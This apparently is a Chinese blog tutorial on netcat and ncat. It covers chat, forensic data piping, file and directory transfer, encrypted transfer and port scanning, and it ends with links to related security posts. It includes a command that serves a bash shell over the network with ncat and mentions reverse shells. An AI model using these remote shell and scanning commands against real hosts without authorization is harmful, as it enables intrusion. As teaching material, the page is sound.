常用工具

nc/ncat

nc被誉为网络界的瑞士军刀。它的功能可见一般。。。

  • 侦听模式 / 传输模式
  • telnet / 获取banner信息
  • 传输文本信息
  • 传输文件/传输目录
  • 加密传输文件
  • 远程控制/木⻢
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

    常用参数

    参数格式
    nc [-options] hostname port[s] [ports] ...
    
    常用options:
-v     显示详细信息
-h     获取帮助信息
-u     UDP 模式
-c     执行传递的命令行
-n     以数字形式表示的IP地址
-p     <通信端口>:设置本地主机使用的通信端口 (打开本地端口)
-l     使用监听模式,监控传入的资料
-q time    标准输出完成延时time秒后自动退出

实例1:聊天工具
A和B进行聊天
首先,A(ip为192.168.80.1)主机开启一个端口

nc -lvp 8888

B主机对A主机对进行连接

nc -nv 192.168.80.1 8888

然后就可以相互发送信息了,敲击回车即可发送信息。一端终止,另一端也会终止。
实例2:远程电子取证
首先在监听主机(192.168.80.129)上,开起监听服务。

nc -lvp 8888

在被取证主机上执行命令通过nc将信息直接传输到监听主机,不影响本机磁盘写入情况。

ls -l | nc -nv 192.168.80.129 8888

这时监听主机就可以获取到被取证主机的准确信息,也不影响被取证主机磁盘情况。
如果传输的信息量较大,监听主机可以通过重定向把信息输入到文件里:

nc -lvp 8888 >ps-aux.txt

被取证主机执行:

ps aux | nc -nv 192.168.80.129 8888 -q 1 

传输完成1秒后自动退出,监听主机查看文件即可。

实例3:传输文件
方法一:
A作为接收端,B作为发送端
A:

nc -lp 8888 >1.mp4 

B:

nc -nv 192.168.80.129 8888 <1.mp4 –q 1 

方法二:
A作为发送端,B作为接收端
A:

nc -q 1 -lp 8888 <a.mp4 

B:

nc -nv 192.168.80.129 8888 >a.mp4 

实例4:传输目录
A作为发送端,B作为接收端

 A:tar -cvf - music/ | nc -lp 8888 –q 1 
 B:nc -nv 192.168.80.129 8888 | tar -xvf – 

实例5:加密传输文件
A作为接收端,B作为发送端

 A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 
解密需要输入密钥才能获得原来的文件
 B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.80.1 333 -q 1
发送时需要输入两次密钥

这里不是利用nc的加密功能,这是用的mcrypt对文件进行加密,再用mcrypt对文件进行解密。

NC -端口扫描

nc -nvz 192.168.80.1 1-65535  #tcp方式
nc -vnzu 192.168.80.1 1-65535 #udp方式
## 扫描结果不一定正确

nc的升级版就是ncat是nmap中的一个工具。
都知道nc可以反弹shell,但是nc反弹的shell没有身份验证。但是ncat可以验证。
ncat加密弹出shll:

A(192.168.1.110):ncat -c bash --allow 192.168.1.168 -vnl 9999 --ssl 加密开启shell
B(192.168.1.168):ncat -nv 192.168.1.110 9999 --ssl

Wireshark

  • 哈希长度拓展攻击-hashpump

    哈希长度拓展攻击条件需要知道 密文长度 (SECRET) 明文 (哈希值) 部分密文内容 (auth) HashPump安装HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、...

    哈希长度拓展攻击-hashpump
  • nmap的使用

    前言端口范围:1-65535 常见的端口以及服务: 21 — ftp协议 22 — ssh远程登陆端口(linux) 23 — telnet协议 25 — 邮箱协议 smtp 发送邮件 110 — pop3协议 接收邮件 80 — ...

    nmap的使用
  • sublime text3的vinage快捷键

    sublime快捷键如何添加 开始 运行 regedit(打开系统注册表) ctrl+f(搜索shell) 在shell下新建Sublime选项 在Sublime选项下新建command选项 在command下打开”默认”写以下内容:...

    sublime text3的vinage快捷键
  • burp的基本&高级使用

    burp介绍: Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。 brupsuite环境配置 功能总览 bp设置和使用proxy设置 ...

    burp的基本&高级使用
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME